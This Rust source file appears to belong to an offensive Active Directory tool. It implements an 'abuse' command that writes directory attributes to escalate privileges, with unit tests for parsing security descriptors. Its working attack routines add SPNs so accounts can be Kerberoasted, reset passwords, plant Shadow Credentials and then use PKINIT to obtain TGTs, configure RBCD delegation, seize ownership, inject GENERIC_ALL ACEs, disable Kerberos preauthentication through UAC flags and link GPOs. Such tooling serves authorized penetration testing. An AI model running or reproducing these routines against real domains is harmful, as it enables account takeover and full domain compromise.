use adhammer_collector::{Collector, LdapConfig};
use anyhow::{Context, Result};
use clap::Parser;
#[derive(clap::ValueEnum, Clone, Copy, Debug, PartialEq, Eq)]
pub(crate) enum AbuseAction {
AddSpn,
AddMember,
SetPassword,
AddKeycred,
WriteRbcd,
Pkinit,
WriteOwner,
WriteDacl,
SetPrimaryGroup,
GpoLinkModify,
AllowedToAct,
SetUacFlags,
}
#[derive(Parser)]
pub(crate) struct AbuseArgs {
#[command(flatten)]
pub auth: crate::shared_args::OptAuth,
#[arg(long)]
pub action: AbuseAction,
#[arg(long)]
pub target: String,
#[arg(long, default_value = "")]
pub value: String,
#[arg(long)]
pub realm: Option<String>,
#[arg(long)]
pub kdc: Option<String>,
#[arg(long)]
pub ldap389: bool,
#[arg(long)]
pub host: Option<String>,
#[arg(long)]
pub dry_run: bool,
}
pub(crate) async fn abuse(mut a: AbuseArgs) -> Result<()> {
{
let cur = a.auth.password.as_deref().unwrap_or("");
let resolved = crate::resolve_secret(cur, "ADHAMMER_PASSWORD")?;
if !resolved.is_empty() {
a.auth.password = Some(resolved);
}
}
if a.action == AbuseAction::Pkinit {
let realm = a.realm.clone().context("pkinit needs --realm")?;
let kdc = a.kdc.clone().context("pkinit needs --kdc")?;
let key_path = if a.value.is_empty() {
format!("{}.key.pem", a.target)
} else {
a.value.clone()
};
let pem =
std::fs::read_to_string(&key_path).with_context(|| format!("read key {key_path}"))?;
let tgt =
adhammer_kerberos::pkinit::pkinit_authenticate(&a.target, &realm, &kdc, &pem).await?;
let cc_path = format!("{}.ccache", a.target);
std::fs::write(&cc_path, tgt.ccache.expose())?;
println!(
"[+] PKINIT succeeded — TGT for {}@{} (via {})",
a.target, realm, tgt.sname
);
println!(" reply key derived from DH + AS-REP enc-part decrypted (holder of the registered key)");
println!(" ticket valid until {}", tgt.end_time);
println!(" ccache saved to {cc_path} (export KRB5CCNAME={cc_path})");
return Ok(());
}
if a.ldap389 {
anyhow::bail!(
"--ldap389 direct authentication is disabled because post-bind integrity is not implemented; use --url ldaps://<dc>:636 with certificate verification"
);
}
let cfg = LdapConfig {
url: a.auth.url.clone().context("this action needs --url")?,
bind_dn: a.auth.user.clone().context("this action needs --user")?,
password: a
.auth
.password
.clone()
.context("this action needs --password")?,
base_dn: None,
insecure: a.auth.insecure,
gssapi: false,
};
let mut c = Collector::connect(&cfg).await?;
let target_dn = crate::target::to_dn(&mut c, &a.target).await?;
match a.action {
AbuseAction::AddSpn => {
if a.dry_run {
dry_run_line("servicePrincipalName", &target_dn, &a.value);
return Ok(());
}
c.add_value(&target_dn, "servicePrincipalName", &a.value)
.await?;
println!(
"[+] added SPN '{}' to {} — now Kerberoastable",
a.value, a.target
);
}
AbuseAction::AddMember => {
let member_dn = crate::target::to_dn(&mut c, &a.value).await?;
if a.dry_run {
dry_run_line("member", &target_dn, &member_dn);
return Ok(());
}
c.add_value(&target_dn, "member", &member_dn).await?;
println!("[+] added {} to group {}", a.value, a.target);
}
AbuseAction::SetPassword => {
let url = a.auth.url.as_deref().unwrap_or("");
if url.starts_with("ldap://") {
anyhow::bail!(
"set-password requires an encrypted LDAP channel — use `ldaps://` \
(add --insecure for self-signed) or --gssapi with SASL sealing. \
Plain ldap:// will always fail with WILL_NOT_PERFORM (0x5003)."
);
}
if a.dry_run {
dry_run_line("unicodePwd", &target_dn, "<UTF-16LE-encoded, redacted>");
return Ok(());
}
c.set_password(&target_dn, &a.value).await?;
println!("[+] reset password of {}", a.target);
}
AbuseAction::AddKeycred => {
let kc = adhammer_kerberos::shadowcred::build_key_credential(&target_dn)?;
if a.dry_run {
dry_run_line("msDS-KeyCredentialLink", &target_dn, &kc.dn_binary);
return Ok(());
}
c.add_value(&target_dn, "msDS-KeyCredentialLink", &kc.dn_binary)
.await?;
let key_path = format!("{}.key.pem", a.target);
std::fs::write(&key_path, &kc.private_key_pem)?;
println!(
"[+] added Shadow Credential to {} — key saved to {key_path}",
a.target
);
println!(
" (Phase 2: PKINIT with this key to obtain a TGT as {})",
a.target
);
}
AbuseAction::WriteRbcd | AbuseAction::AllowedToAct => {
let trustee = crate::target::to_sid(&mut c, &a.value).await?;
let sd = windows_sddl::build_rbcd_sd(&trustee);
if a.dry_run {
dry_run_line(
"msDS-AllowedToActOnBehalfOfOtherIdentity",
&target_dn,
&format!("<{}-byte SD, hex={}>", sd.len(), hex_of(&sd)),
);
return Ok(());
}
c.write_binary(&target_dn, "msDS-AllowedToActOnBehalfOfOtherIdentity", sd)
.await?;
println!(
"[+] wrote RBCD on {} allowing {} to impersonate to it",
a.target, a.value
);
}
AbuseAction::WriteOwner => {
let trustee = crate::target::to_sid(&mut c, &a.value).await?;
let cur = c
.read_binary(&target_dn, "nTSecurityDescriptor")
.await?
.context("target has no readable nTSecurityDescriptor")?;
let new_sd =
swap_owner_in_sd(&cur, &trustee.to_bytes()).context("splice new owner into SD")?;
if a.dry_run {
dry_run_line(
"nTSecurityDescriptor",
&target_dn,
&format!(
"<{}-byte SD, new-owner={}, hex={}>",
new_sd.len(),
trustee,
hex_of(&new_sd)
),
);
return Ok(());
}
c.write_binary(&target_dn, "nTSecurityDescriptor", new_sd)
.await?;
println!("[+] wrote Owner={} on {}", trustee, target_dn);
}
AbuseAction::WriteDacl => {
let trustee = crate::target::to_sid(&mut c, &a.value).await?;
let cur = c
.read_binary(&target_dn, "nTSecurityDescriptor")
.await?
.context("target has no readable nTSecurityDescriptor")?;
let new_sd = prepend_generic_all_ace(&cur, &trustee.to_bytes())
.context("splice GENERIC_ALL ACE into DACL")?;
if a.dry_run {
dry_run_line(
"nTSecurityDescriptor",
&target_dn,
&format!(
"<{}-byte SD, +GENERIC_ALL for {}, hex={}>",
new_sd.len(),
trustee,
hex_of(&new_sd)
),
);
return Ok(());
}
c.write_binary(&target_dn, "nTSecurityDescriptor", new_sd)
.await?;
println!(
"[+] appended GENERIC_ALL ACE for {} on {} DACL",
trustee, target_dn
);
}
AbuseAction::SetPrimaryGroup => {
let rid: u32 = if let Ok(n) = a.value.parse::<u32>() {
n
} else {
let sid = c
.resolve_sid(&a.value)
.await
.with_context(|| format!("resolve group {:?} to SID", a.value))?;
*sid.sub_authorities
.last()
.context("group SID has no sub-authorities → no RID to extract")?
};
if a.dry_run {
dry_run_line("primaryGroupID", &target_dn, &rid.to_string());
return Ok(());
}
c.modify_replace(&target_dn, "primaryGroupID", &rid.to_string())
.await?;
println!(
"[+] set primaryGroupID={} on {} — now inherits that group's membership",
rid, a.target
);
}
AbuseAction::SetUacFlags => {
let add_bits = parse_uac_flags(&a.value)
.with_context(|| format!("--value {:?} — parse UAC flag names", a.value))?;
let cur_text = c
.read_text(&target_dn, "userAccountControl")
.await?
.context("target has no readable userAccountControl")?;
let cur: u32 = cur_text
.parse()
.with_context(|| format!("userAccountControl {cur_text:?} not a u32"))?;
let new = cur | add_bits;
if a.dry_run {
println!(
"[dry-run] would write userAccountControl={:#010x} (was {:#010x}) on {}",
new, cur, target_dn
);
println!("[dry-run] no change made");
return Ok(());
}
c.modify_replace(&target_dn, "userAccountControl", &new.to_string())
.await?;
println!(
"[+] set userAccountControl={:#010x} (was {:#010x}) on {}",
new, cur, a.target
);
}
AbuseAction::GpoLinkModify => {
let guid = normalize_gpo_guid(&a.value);
let base = c.base_dn().to_string();
let entry = format_gplink_entry(&guid, &base);
let cur = c.read_text(&target_dn, "gPLink").await?.unwrap_or_default();
let combined = if cur.is_empty() {
entry.clone()
} else {
format!("{cur}{entry}")
};
if a.dry_run {
dry_run_line("gPLink", &target_dn, &combined);
return Ok(());
}
c.modify_replace(&target_dn, "gPLink", &combined).await?;
println!("[+] linked GPO {} to OU {}", guid, target_dn);
}
AbuseAction::Pkinit => unreachable!("pkinit handled above the LDAP-connect block"),
}
Ok(())
}
fn dry_run_line(attr: &str, target: &str, value: &str) {
println!("[dry-run] would write attribute={attr} target={target} value={value}");
println!("[dry-run] no change made");
}
fn hex_of(b: &[u8]) -> String {
let mut s = String::with_capacity(b.len() * 2);
for byte in b {
use std::fmt::Write as _;
let _ = write!(s, "{byte:02X}");
}
s
}
fn parse_uac_flags(raw: &str) -> anyhow::Result<u32> {
let mut bits: u32 = 0;
for tok in raw.split(',').map(|s| s.trim()).filter(|s| !s.is_empty()) {
let name = tok.to_ascii_uppercase();
let v = match name.as_str() {
"SCRIPT" => 0x0000_0001,
"ACCOUNTDISABLE" => 0x0000_0002,
"HOMEDIR_REQUIRED" => 0x0000_0008,
"LOCKOUT" => 0x0000_0010,
"PASSWD_NOTREQD" => 0x0000_0020,
"PASSWD_CANT_CHANGE" => 0x0000_0040,
"ENCRYPTED_TEXT_PWD_ALLOWED" => 0x0000_0080,
"TEMP_DUPLICATE_ACCOUNT" => 0x0000_0100,
"NORMAL_ACCOUNT" => 0x0000_0200,
"INTERDOMAIN_TRUST_ACCOUNT" => 0x0000_0800,
"WORKSTATION_TRUST_ACCOUNT" => 0x0000_1000,
"SERVER_TRUST_ACCOUNT" => 0x0000_2000,
"DONT_EXPIRE_PASSWORD" => 0x0001_0000,
"MNS_LOGON_ACCOUNT" => 0x0002_0000,
"SMARTCARD_REQUIRED" => 0x0004_0000,
"TRUSTED_FOR_DELEGATION" => 0x0008_0000,
"NOT_DELEGATED" => 0x0010_0000,
"USE_DES_KEY_ONLY" => 0x0020_0000,
"DONT_REQUIRE_PREAUTH" => 0x0040_0000,
"PASSWORD_EXPIRED" => 0x0080_0000,
"TRUSTED_TO_AUTH_FOR_DELEGATION" => 0x0100_0000,
"PARTIAL_SECRETS_ACCOUNT" => 0x0400_0000,
_ => {
if let Some(hex) = name.strip_prefix("0X") {
u32::from_str_radix(hex, 16)
.with_context(|| format!("unknown UAC flag {tok:?}"))?
} else if name.chars().all(|c| c.is_ascii_digit()) {
name.parse::<u32>()
.with_context(|| format!("unknown UAC flag {tok:?}"))?
} else {
anyhow::bail!("unknown UAC flag {tok:?}");
}
}
};
bits |= v;
}
if bits == 0 {
anyhow::bail!("set-uac-flags needs --value <FLAG[,FLAG...]> (empty)");
}
Ok(bits)
}
fn normalize_gpo_guid(raw: &str) -> String {
let trimmed = raw.trim().trim_matches(|c| c == '{' || c == '}');
format!("{{{}}}", trimmed.to_uppercase())
}
fn format_gplink_entry(guid: &str, base_dn: &str) -> String {
format!("[LDAP://cn={guid},cn=policies,cn=system,{base_dn};0]")
}
const SD_HEADER_LEN: usize = 20;
fn sid_len_at(b: &[u8], off: usize) -> Option<usize> {
if off == 0 {
return Some(0);
}
let count_pos = off.checked_add(1)?;
let count = *b.get(count_pos)? as usize;
8usize.checked_add(count.checked_mul(4)?)
}
fn acl_len_at(b: &[u8], off: usize) -> Option<usize> {
if off == 0 {
return Some(0);
}
let size_pos = off.checked_add(2)?;
let size = u16::from_le_bytes([*b.get(size_pos)?, *b.get(size_pos.checked_add(1)?)?]) as usize;
(size >= 8).then_some(size)
}
fn read_u32_le(b: &[u8], off: usize) -> Option<u32> {
Some(u32::from_le_bytes([
*b.get(off)?,
*b.get(off + 1)?,
*b.get(off + 2)?,
*b.get(off + 3)?,
]))
}
struct SdParts {
revision: u8,
control: u16,
owner: Vec<u8>,
group: Vec<u8>,
sacl: Vec<u8>,
dacl: Vec<u8>,
}
fn parse_sd_sections(b: &[u8]) -> Option<SdParts> {
if b.len() < SD_HEADER_LEN {
return None;
}
let revision = b[0];
let control = u16::from_le_bytes([b[2], b[3]]);
if control & 0x8000 == 0 {
return None;
}
let owner_off = read_u32_le(b, 4)? as usize;
let group_off = read_u32_le(b, 8)? as usize;
let sacl_off = read_u32_le(b, 12)? as usize;
let dacl_off = read_u32_le(b, 16)? as usize;
let slice_section = |off: usize, len: Option<usize>| -> Option<Vec<u8>> {
if off == 0 {
Some(Vec::new())
} else {
let l = len?;
let end = off.checked_add(l)?;
Some(b.get(off..end)?.to_vec())
}
};
Some(SdParts {
revision,
control,
owner: slice_section(owner_off, sid_len_at(b, owner_off))?,
group: slice_section(group_off, sid_len_at(b, group_off))?,
sacl: slice_section(sacl_off, acl_len_at(b, sacl_off))?,
dacl: slice_section(dacl_off, acl_len_at(b, dacl_off))?,
})
}
fn build_sd(
revision: u8,
control: u16,
owner: &[u8],
group: &[u8],
sacl: &[u8],
dacl: &[u8],
) -> Vec<u8> {
let mut sd =
Vec::with_capacity(SD_HEADER_LEN + owner.len() + group.len() + sacl.len() + dacl.len());
sd.push(revision);
sd.push(0); sd.extend_from_slice(&control.to_le_bytes());
let mut cur = SD_HEADER_LEN as u32;
let owner_off = if !owner.is_empty() {
let off = cur;
cur += owner.len() as u32;
off
} else {
0
};
let group_off = if !group.is_empty() {
let off = cur;
cur += group.len() as u32;
off
} else {
0
};
let sacl_off = if !sacl.is_empty() {
let off = cur;
cur += sacl.len() as u32;
off
} else {
0
};
let dacl_off = if !dacl.is_empty() {
let off = cur;
cur += dacl.len() as u32;
off
} else {
0
};
let _ = cur; sd.extend_from_slice(&owner_off.to_le_bytes());
sd.extend_from_slice(&group_off.to_le_bytes());
sd.extend_from_slice(&sacl_off.to_le_bytes());
sd.extend_from_slice(&dacl_off.to_le_bytes());
sd.extend_from_slice(owner);
sd.extend_from_slice(group);
sd.extend_from_slice(sacl);
sd.extend_from_slice(dacl);
sd
}
pub(crate) fn swap_owner_in_sd(sd: &[u8], new_owner_sid: &[u8]) -> Option<Vec<u8>> {
let p = parse_sd_sections(sd)?;
let control = p.control & !0x0001;
Some(build_sd(
p.revision,
control,
new_owner_sid,
&p.group,
&p.sacl,
&p.dacl,
))
}
fn build_generic_all_ace(trustee_sid: &[u8]) -> Option<Vec<u8>> {
let total = 8usize.checked_add(trustee_sid.len())?;
let size = u16::try_from(total).ok()?;
let mut ace = Vec::with_capacity(total);
ace.push(0x00); ace.push(0x00); ace.extend_from_slice(&size.to_le_bytes());
ace.extend_from_slice(&0x1000_0000u32.to_le_bytes()); ace.extend_from_slice(trustee_sid);
Some(ace)
}
fn validate_acl_bytes(acl: &[u8]) -> Option<(u16, &[u8])> {
if acl.len() < 8 {
return None;
}
let declared_size = u16::from_le_bytes([acl[2], acl[3]]) as usize;
if declared_size != acl.len() {
return None;
}
let count = u16::from_le_bytes([acl[4], acl[5]]);
let mut cur = 8usize;
for _ in 0..count {
let header_end = cur.checked_add(4)?;
if header_end > declared_size {
return None;
}
let ace_size = u16::from_le_bytes([acl[cur + 2], acl[cur + 3]]) as usize;
if ace_size < 4 {
return None;
}
cur = cur.checked_add(ace_size)?;
if cur > declared_size {
return None;
}
}
if cur != declared_size {
return None;
}
Some((count, &acl[8..]))
}
pub(crate) fn prepend_generic_all_ace(sd: &[u8], new_trustee_sid: &[u8]) -> Option<Vec<u8>> {
let mut p = parse_sd_sections(sd)?;
let ace = build_generic_all_ace(new_trustee_sid)?;
let new_dacl = if p.dacl.is_empty() {
let new_len = 8usize.checked_add(ace.len())?;
let mut d = Vec::with_capacity(new_len);
d.push(0x02); d.push(0x00);
let dacl_size = u16::try_from(new_len).ok()?;
d.extend_from_slice(&dacl_size.to_le_bytes());
d.extend_from_slice(&1u16.to_le_bytes()); d.extend_from_slice(&0u16.to_le_bytes()); d.extend_from_slice(&ace);
p.control |= 0x0004;
d
} else {
let (existing_count, existing_ace_bytes) = validate_acl_bytes(&p.dacl)?;
let new_len = 8usize
.checked_add(ace.len())?
.checked_add(existing_ace_bytes.len())?;
let new_size = u16::try_from(new_len).ok()?;
let mut d = Vec::with_capacity(new_len);
d.push(p.dacl[0]); d.push(p.dacl[1]);
d.extend_from_slice(&new_size.to_le_bytes());
let new_count = existing_count.checked_add(1)?;
d.extend_from_slice(&new_count.to_le_bytes());
d.extend_from_slice(&0u16.to_le_bytes()); d.extend_from_slice(&ace);
d.extend_from_slice(existing_ace_bytes);
d
};
p.control &= !0x0008;
Some(build_sd(
p.revision, p.control, &p.owner, &p.group, &p.sacl, &new_dacl,
))
}
#[cfg(test)]
mod tests {
use super::*;
fn ba_sid() -> Vec<u8> {
adhammer_core::sid::Sid {
revision: 1,
identifier_authority: 5,
sub_authorities: vec![32, 544],
}
.to_bytes()
}
fn user_sid() -> Vec<u8> {
adhammer_core::sid::Sid {
revision: 1,
identifier_authority: 5,
sub_authorities: vec![21, 1, 2, 3, 1104],
}
.to_bytes()
}
#[test]
fn owner_swap_round_trips() {
let orig = windows_sddl::build_rbcd_sd(&windows_sddl::Sid {
revision: 1,
identifier_authority: 5,
sub_authorities: vec![21, 1, 2, 3, 1104],
});
let new_sd = swap_owner_in_sd(&orig, &user_sid()).expect("splice owner");
let parsed = windows_sddl::parse(&new_sd).expect("parse rebuilt SD");
let new_owner = parsed.owner.expect("owner present");
assert_eq!(
new_owner.sub_authorities,
vec![21, 1, 2, 3, 1104],
"owner sub-authorities preserved after swap"
);
let aces = parsed.dacl.expect("dacl").aces;
assert_eq!(aces.len(), 1);
assert!(aces[0].is_allow());
}
#[test]
fn owner_swap_rejects_short_input() {
assert!(swap_owner_in_sd(&[0u8; 4], &user_sid()).is_none());
}
#[test]
fn generic_all_ace_layout() {
let ace = build_generic_all_ace(&user_sid()).expect("valid SID-sized ACE");
assert_eq!(ace[0], 0x00);
assert_eq!(ace[1], 0x00);
let size = u16::from_le_bytes([ace[2], ace[3]]);
assert_eq!(size as usize, ace.len());
assert_eq!(size as usize, 8 + user_sid().len());
let mask = u32::from_le_bytes([ace[4], ace[5], ace[6], ace[7]]);
assert_eq!(mask, 0x1000_0000);
assert_eq!(&ace[8..], &user_sid()[..]);
}
#[test]
fn prepend_ace_grows_dacl_and_reparses() {
let orig = windows_sddl::build_rbcd_sd(&windows_sddl::Sid {
revision: 1,
identifier_authority: 5,
sub_authorities: vec![21, 1, 2, 3, 1104],
});
let orig_parsed = windows_sddl::parse(&orig).unwrap();
let orig_count = orig_parsed.dacl.unwrap().aces.len();
let new_sd = prepend_generic_all_ace(&orig, &ba_sid()).expect("prepend ACE");
let parsed = windows_sddl::parse(&new_sd).expect("parse rebuilt SD");
let aces = parsed.dacl.expect("dacl").aces;
assert_eq!(aces.len(), orig_count + 1, "one ACE added");
assert!(aces[0].is_allow());
assert_eq!(aces[0].trustee.sub_authorities, vec![32, 544]);
}
#[test]
fn prepend_ace_on_empty_dacl_synthesizes_one() {
let mut sd = vec![1u8, 0, 0, 0x80]; sd.extend_from_slice(&0u32.to_le_bytes());
sd.extend_from_slice(&0u32.to_le_bytes());
sd.extend_from_slice(&0u32.to_le_bytes());
sd.extend_from_slice(&0u32.to_le_bytes());
let new_sd = prepend_generic_all_ace(&sd, &user_sid()).expect("synthesize DACL");
let control = u16::from_le_bytes([new_sd[2], new_sd[3]]);
assert!(control & 0x0004 != 0);
let parsed = windows_sddl::parse(&new_sd).unwrap();
let aces = parsed.dacl.unwrap().aces;
assert_eq!(aces.len(), 1);
assert_eq!(aces[0].trustee.sub_authorities, vec![21, 1, 2, 3, 1104]);
}
#[test]
fn prepend_ace_rejects_short_declared_acl() {
let mut sd = vec![1u8, 0, 0x04, 0x80];
sd.extend_from_slice(&0u32.to_le_bytes());
sd.extend_from_slice(&0u32.to_le_bytes());
sd.extend_from_slice(&0u32.to_le_bytes());
sd.extend_from_slice(&20u32.to_le_bytes());
sd.extend_from_slice(&[2, 0, 6, 0, 0, 0]);
assert!(prepend_generic_all_ace(&sd, &user_sid()).is_none());
}
#[test]
fn gplink_entry_shape() {
let entry = format_gplink_entry("{AB-CD}", "DC=lab,DC=local");
assert_eq!(
entry,
"[LDAP://cn={AB-CD},cn=policies,cn=system,DC=lab,DC=local;0]"
);
}
#[test]
fn parse_uac_flags_or_and_hex() {
assert_eq!(
parse_uac_flags("DONT_REQUIRE_PREAUTH, TRUSTED_FOR_DELEGATION").unwrap(),
0x0040_0000 | 0x0008_0000
);
assert_eq!(parse_uac_flags("0x400000, 512").unwrap(), 0x40_0000 | 512);
assert!(parse_uac_flags("").is_err());
assert_eq!(
parse_uac_flags("dont_require_preauth").unwrap(),
0x0040_0000
);
assert!(parse_uac_flags("FROBNICATE").is_err());
}
#[test]
fn normalize_gpo_guid_accepts_braced_and_unbraced() {
assert_eq!(normalize_gpo_guid("abc-def"), "{ABC-DEF}");
assert_eq!(normalize_gpo_guid("{abc-def}"), "{ABC-DEF}");
assert_eq!(normalize_gpo_guid(" {ABC-DEF} "), "{ABC-DEF}");
}
}